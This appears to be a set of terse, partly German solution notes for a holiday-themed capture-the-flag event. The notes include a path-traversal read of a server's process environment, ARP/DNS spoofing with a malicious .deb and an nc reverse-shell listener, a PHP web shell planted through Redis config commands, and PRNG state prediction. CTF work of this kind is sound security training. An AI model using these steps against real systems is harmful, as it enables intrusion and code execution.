cat rc4-decode.py

import base64

data = base64.b64decode("7FXjP1lyfKbyDK/MChyf36h7")
key = "Stay Frosty"

S = range(256)
j = 0
out = []

#KSA Phase
for i in range(256):
    j = (j + S[i] + ord( key[i % len(key)] )) % 256
    S[i] , S[j] = S[j] , S[i]

#PRGA Phase
i = j = 0
for char in data:
    i = ( i + 1 ) % 256
    j = ( j + S[i] ) % 256
    S[i] , S[j] = S[j] , S[i]
    out.append(chr(ord(char) ^ S[(S[i] + S[j]) % 256]))

print ''.join(out)

python rc4-decode
The Lollipop Guild

dirsearch.py -u https://tag-generator.kringlecastle.com/ -e all

Something went wrong!

Error in /app/lib/app.rb: ID is missing!

Something went wrong!

Error in /app/lib/app.rb: Route not found

curl -k -s -L -O 'https://tag-generator.kringlecastle.com/image?id=../../../../../../../../../../../../../../../proc/1/environ'
cat environ                                                            
PATH=/usr/local/bundle/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binHOSTNAME=cbf2810b7573RUBY_MAJOR=2.7RUBY_VERSION=2.7.0RUBY_DOWNLOAD_SHA256=27d350a52a02b53034ca0794efe518667d558f152656c2baaf08f3d0c8b02343GEM_HOME=/usr/local/bundleBUNDLE_SILENCE_ROOT_WARNING=1BUNDLE_APP_CONFIG=/usr/local/bundleAPP_HOME=/appPORT=4141HOST=0.0.0.0GREETZ=JackFrostWasHereHOME=/home/app

proc/x/environ

Video description at https://player.vimeo.com/video/499007090

tcpdump -nn -i any

cd scripts
:> dns_resp.py
:> arp_resp.py
vim dns_resp.py
:set paste
(-> auf deinem System: cat dns_resp.py | xclip -sel clip 
 -> paste dns_resp.py into this file)
:wq!
vim arp_resp.py
:set paste
(-> auf deinem System: cat arp_resp.py | xclip -sel clip
 -> paste arp_resp.py into this file)
chmod u+x *.py
cd ..
vim cdb.sh
:set paste
(-> auf deinem System: cat create_deb_malware.sh | xclip -sel clip)
 -> paste this into cdb.sh)
:wq!
chmod u+x cdb.sh
./cdb.sh

cd scripts/
./dns_resp.py

nc -nlvp 8080

cd scripts/
./arp_resp.py

python3 -c "import pty; pty.spawn("/bin/bash")'
cat NORTH_POLE_Land_Use_Board_Meeting_Minutes.txt | less

Videobeschreibung unter https://player.vimeo.com/video/499182451

Videobechreibung unter https://player.vimeo.com/video/499151055

cat analyze_nonces.py

import random
from mt19937predictor import MT19937Predictor

foundrands=[]

foundrands_624 = foundrands[-624:]

predictor = MT19937Predictor()

for idx in range(624):
    print(foundrands_624[idx])
    predictor.setrandbits(foundrands_624[idx],64)

print("last known index: 129996")

print("129997", predictor.getrandbits(64))
print("129998", predictor.getrandbits(64))
print("129999", predictor.getrandbits(64))
print("130000", predictor.getrandbits(64))

python3 analyze_nonces.py

var=$(python3 naughty_nice.py);(echo -n "["; for i in $(tail -n +2 <(echo ${var##*Nonces==})); do echo -n "$i"",";done; echo -n "]") | xclip -sel clip
(-> copied var into array of analyze_nonces.py)
python3 analyze_nonces.py | tail -n 1|awk '{print $2}'
echo 'obase=16;;6270808489970332317'|bc

...

     def full_hash(self):
         hash_obj = MD5.new()
         hash_obj.update(self.block_data_signed())
         return hash_obj.hexdigest()

     def full_hash_SHA256(self):
         hash_obj = SHA256.new()
         hash_obj.update(self.block_data_signed())
         return hash_obj.hexdigest()

     def hash_n_sign(self):
         hash_obj = MD5.new()
         
...

if __name__ == '__main__':
    with open('official_public.pem', 'rb') as fh:
        official_public_key = RSA.importKey(fh.read())
    c2 = Chain(load=True, filename='blockchain.dat')
    for block in c2.blocks:
        print(block.index, block.full_hash_SHA256())

python3 naughty_nice.py|grep '58a3b9335a6ceb0234c12d35a0564c4ef0e90152d0eb2ce2082383b38028a90f'
129459 58a3b9335a6ceb0234c12d35a0564c4ef0e90152d0eb2ce2082383b38028a90f

cp tohash tohash.old

     ...
     for block in c2.blocks:
         if block.index == 129459:
             for i in range(block.doc_count):
                 block.dump_doc(i+1)
     ...

python3 naughty_nice.py

vbindiff tohash tohash.old

tmux attach

elf.moveTo(lollipop[0])
elf.moveUp(10)

elf.moveTo(lever[0])
elf.pull_lever(elf.get_lever(0) + 2)
elf.moveLeft(4)
elf.moveUp(10)

lollipop.forEach(function(item) {
    elf.moveTo(item)
})
elf.moveUp(1)

for (rounds =1; rounds <= 5; rounds++) {
    elf.moveLeft(3);
    if (rounds % 2 == 1) elf.moveUp(11);
    else elf.moveDown(11);
}

let numbersOnly = (val) => {
    if (typeof(val) == 'number') {
        return val;
    }
}
numbers = elf.ask_munch(0).filter(numbersOnly);
elf.moveTo(lollipop[1])
elf.moveTo(lollipop[0])

let numbersOnly = (val) => {
  if (typeof(val) == 'number') {
    return val;
  }
}
numbers = elf.ask_munch(0).filter(numbersOnly);
elf.moveTo(lollipop[1])
elf.moveTo(lollipop[0])
elf.tell_munch(numbers)
elf.moveUp(2)

for (rounds = 0; rounds <= 3; rounds++) {
  elf.moveTo(lollipop[rounds])
}
elf.moveTo(lever[0])
arr = elf.get_lever(0)
arr.unshift("munchkins rule")
elf.pull_lever(arr)
elf.moveTo(munchkin[0])
elf.moveUp(2)

function fun(arr) {
  let amount = 0;
  arr.forEach(function(item) {
    item.forEach(function(inneritem) {
      if (typeof inneritem === "number") amount = amount + inneritem
    });
  });
  return amount
}
for (round = 0; round <= 7; round++) {
  if (round % 4 == 0)
    elf.moveDown(round + 1)
  if (round % 4 == 1)
    elf.moveLeft(round + 1)
  if (round % 4 == 2)
    elf.moveUp(round + 1)
  if (round % 4 == 3)
    elf.moveRight(round + 1)
  elf.pull_lever(round)
}
elf.moveUp(2);elf.moveLeft(4);
elf.tell_munch(fun)
elf.moveUp(2);

function getLolKeyFromJson(jsonData) {
  returnValue = ""
  jsonData.forEach(function(item) {
    for (key in item) {
      if (item[key] == "lollipop") returnValue = key.toString()
    }
  })
  return returnValue
}

var moveSteps = 1
var leverSum = 0
for (leverNr = 0; leverNr <= 5; leverNr++) {
  if ((leverNr % 2) == 0) elf.moveRight(moveSteps)
  else elf.moveLeft(moveSteps)

  moveSteps = moveSteps + 2
  leverSum = leverSum + elf.get_lever(leverNr)
  elf.pull_lever(leverSum)
  elf.moveUp(2)
}
elf.tell_munch(getLolKeyFromJson)
elf.moveRight(11)

alias urlencode
urlencode=$'python3 -c "import sys, urllib.parse as ul; \\\n    print (ul.quote_plus(sys.argv[1]))"'

urlencode '"<?php system($_GET['cmd']);?>"'                      
%22%3C%3Fphp+system%28%24_GET%5Bcmd%5D%29%3B%3F%3E%22

curl http://localhost/maintenance.php?cmd=config,set,dir,/var/www/html
curl http://localhost/maintenance.php?cmd=config,set,dbfilename,rce.php
curl http://localhost/maintenance.php?cmd=set,test,%22%3C%3Fphp+system%28%24_GET%5Bcmd%5D%29%3B%3F%3E%22
curl http://localhost/maintenance.php?cmd=save

Videobeschreibung unter https://player.vimeo.com/video/499403897

yes
ls
cat munchkin_19315479765589239
rm munchkin_19315479765589239
pwd
ls -lah
history
env
cd workshop/
grep -i "munch" *.txt
ls loll*
chmod u+x lollipop_engine
./lollipop_engine
cd electrical/
mv blown_fuse0 fuse0
ln -s fuse0 fuse1 
cp fuse1 fuse2
echo "MUNCHKIN_REPELLENT" >> fuse2
find /opt/munchkin_den munchkin
find /opt/munchkin_den -user munchkin
find /opt/munchkin_den -size +108k -size -110k
ps -aux
netstat -nltp
curl 127.0.0.1:54321
kill 6086

Videobeschreibung unter https://player.vimeo.com/video/499139051

Video description at https://player.vimeo.com/video/499540767

cd lab/
vim lights.conf
(-> Verändere elf-technician zu dem Passwort eine Zeile drüber
 -> Speichere die Datei)
./lights
(-> Entnehme das Passwort hinter "Welcome back,"
 -> "Computer-TurnLightsOn")
cd ..
./lights
(-> Gib das Passwort ein)

cat createrandarr.sh

#! /bin/bash
comments=$(tail -n +2 <(head -n -2 <(xclip -o -sel clip)))
(echo -n "["; for i in $(echo "$comments"|awk '{print $1}'); do echo -n $i","; done; echo -n "]") | xclip -sel clip

cat mt19937_adapted.py

#!/usr/bin/env python3

foundrands= # to fill
class mt19937():
u, d = 11, 0xFFFFFFFF
s, b = 7, 0x9D2C5680
t, c = 15, 0xEFC60000
l = 18
n = 624

    def my_int32(self, x):
        return(x & 0xFFFFFFFF)

    def __init__(self, seed):
        w = 32
        r = 31
        f = 1812433253
        self.m = 397
        self.a = 0x9908B0DF
        self.MT = [0] * self.n
        self.index = self.n + 1
        self.lower_mask = (1 << r) - 1
        self.upper_mask = self.my_int32(~self.lower_mask)
        self.MT[0] = self.my_int32(seed)
        for i in range(1, self.n):
            self.MT[i] = self.my_int32((f * (self.MT[i - 1] ^ (self.MT[i - 1] >> (w - 2))) + i))

    def extract_number(self):
        if self.index >= self.n:
            self.twist()
            self.index = 0
        y = self.MT[self.index]
        # this implements the so-called "tempering matrix"
        # this, functionally, should alter the output to
        # provide a better, higher-dimensional distribution
        # of the most significant bits in the numbers extracted
        y = y ^ ((y >> self.u) & self.d)
        y = y ^ ((y << self.s) & self.b)
        y = y ^ ((y << self.t) & self.c)
        y = y ^ (y >> self.l)
        self.index += 1
        return self.my_int32(y)

    def twist(self):
        for i in range(0, self.n):
            x = (self.MT[i] & self.upper_mask) + (self.MT[(i + 1) % self.n] & self.lower_mask)
            xA = x >> 1
            if(x % 2) != 0:
                xA = xA ^ self.a
            self.MT[i] = self.MT[(i + self.m) % self.n] ^ xA

def untemper(y):
y ^= y >> mt19937.l
y ^= y << mt19937.t & mt19937.c
for i in range(7):
y ^= y << mt19937.s & mt19937.b
for i in range(3):
y ^= y >> mt19937.u & mt19937.d
return y


if __name__ == "__main__":
# create our own version of an MT19937 PRNG.
myprng = mt19937(0)
# clone that sucker...
print("Generating %i random numbers.\nWe'll use those values to create a clone of the current state of Python's built-in PRNG..." % (mt19937.n))
for i in range(mt19937.n):
myprng.MT[i] = untemper(foundrands[i])
print(myprng.extract_number())
print(myprng.MT[0])

Video description at https://player.vimeo.com/video/499011316

yes

task.submit("start")

task.submit(send)

task.submit(sniff)

task.submit(1)

task.submit(rdpcap)

task.submit(2)

task.submit(UDP_PACKETS[0])

pkt = TCP_PACKETS[1]
task.submit(pkt[TCP])

pkt = UDP_PACKETS[0]
pkt[IP].dst = "127.0.0.1"
task.submit(pkt)

>>> TCP_PACKETS[3][Raw].load
b'220 North Pole FTP Server\r\n'
>>> TCP_PACKETS[4][Raw].load
b'USER alabaster\r'
>>> TCP_PACKETS[5][Raw].load
b'331 Password required for alabaster.\r'
>>> TCP_PACKETS[6][Raw].load
b'PASS echo\r\n'
>>> TCP_PACKETS[7][Raw].load
b'230 User alabaster logged in.\r'

([pkt[Raw].load for pkt in TCP_PACKETS if Raw in pkt] would be easier)

task.submit("echo")

task.submit(ICMP_PACKETS[1][ICMP].chksum)

task.submit(3)

pkt = Ether()/IP(dst='127.127.127.127')/UDP(dport=5000)
task.submit(pkt)

pkt = IP(dst='127.2.3.4')/UDP(dport=53)/DNS(qd=DNSQR(qname='elveslove.santa'))
task.submit(pkt)

>>> ARP_PACKETS[Ether][0]
<Ether  dst=ff:ff:ff:ff:ff:ff src=00:16:ce:6e:8b:24 type=ARP |<ARP  hwtype=0x1 ptype=IPv4 hwlen=6 plen=4 op=who-has hwsrc=00:16:ce:6e:8b:24 psrc=192.168.0.114 hwdst=00:00:00:00:00:00 pdst=192.168.0.1 |>>

Get the hwsrc from the Ether part of 1,
set op=2 for "is-at"
set hwdst to mac of asking ip

so this becomes to:
192.168.0.1 is at 00:13:46:0b:22:ba

>>> ARP_PACKETS[Ether][1]
<Ether  dst=00:16:ce:6e:8b:24 src=00:13:46:0b:22:ba type=ARP |<ARP  hwtype=0x1 ptype=IPv4 hwlen=6 plen=4 op=None hwsrc=ff:ff:ff:ff:ff:ff psrc=192.168.0.1 hwdst=ff:ff:ff:ff:ff:ff pdst=192.168.0.114 |<Padding  load='\xc0\xa8\x00r' |>>>

ARP_PACKETS[1].op=2
ARP_PACKETS[1].hwdst='00:16:ce:6e:8b:24'
ARP_PACKETS[1].hwsrc='00:13:46:0b:22:ba'
task.submit(ARP_PACKETS)

cut -b 27-29 candump.log | sort | uniq -c
     35 188
      3 19B
   1331 244

grep -E '^.*vcan0\s(19B).*$' candump.log 
(1608926664.626448) vcan0 19B#000000000000
(1608926671.122520) vcan0 19B#00000F000000
(1608926674.092148) vcan0 19B#000000000000

./runanswer -> 122520

Videobeschreibung unter https://player.vimeo.com/video/498981563